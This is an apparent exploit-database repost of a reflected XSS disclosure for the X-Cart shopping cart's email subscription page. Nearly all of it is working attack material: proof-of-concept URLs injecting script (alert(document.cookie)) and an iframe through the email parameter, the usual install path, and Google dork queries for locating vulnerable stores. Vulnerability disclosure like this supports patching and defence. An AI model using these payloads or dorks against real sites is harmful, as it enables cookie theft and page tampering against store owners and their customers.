## X-Cart XSS in email subscription ## ## Download: http://www.x-cart.com/ ## ## Discovered by: Paulo Santos ## ## Contact: paulo@infocampoap.com.br ## ## Blog: http://infocampo.wordpress.com ## http://target/[path]/customer/home.php?mode=subscribed&email=<plaintext/> http://target/[path]/customer/home.php?mode=subscribed&email=<script>alert(document.cookie);//<</script> http://target/[path]/customer/home.php?mode=subscribed&email=<iframe src=http://www.google.com.br width=800> Path is usually /xcart/ Google dork: inurl:xcart/customer/ inurl:xcart/customer/home.php "X-CART. Powerful PHP shopping cart software"
※本站提供的任何内容、代码与服务仅供学习，请勿用于非法用途，否则后果自负
您的会员可兑换次数还剩： 次 本次兑换将消耗 1 次
续费请拨打客服热线，感谢您一直支持 Seebug!
京公网安备 11010502034610号
暂无评论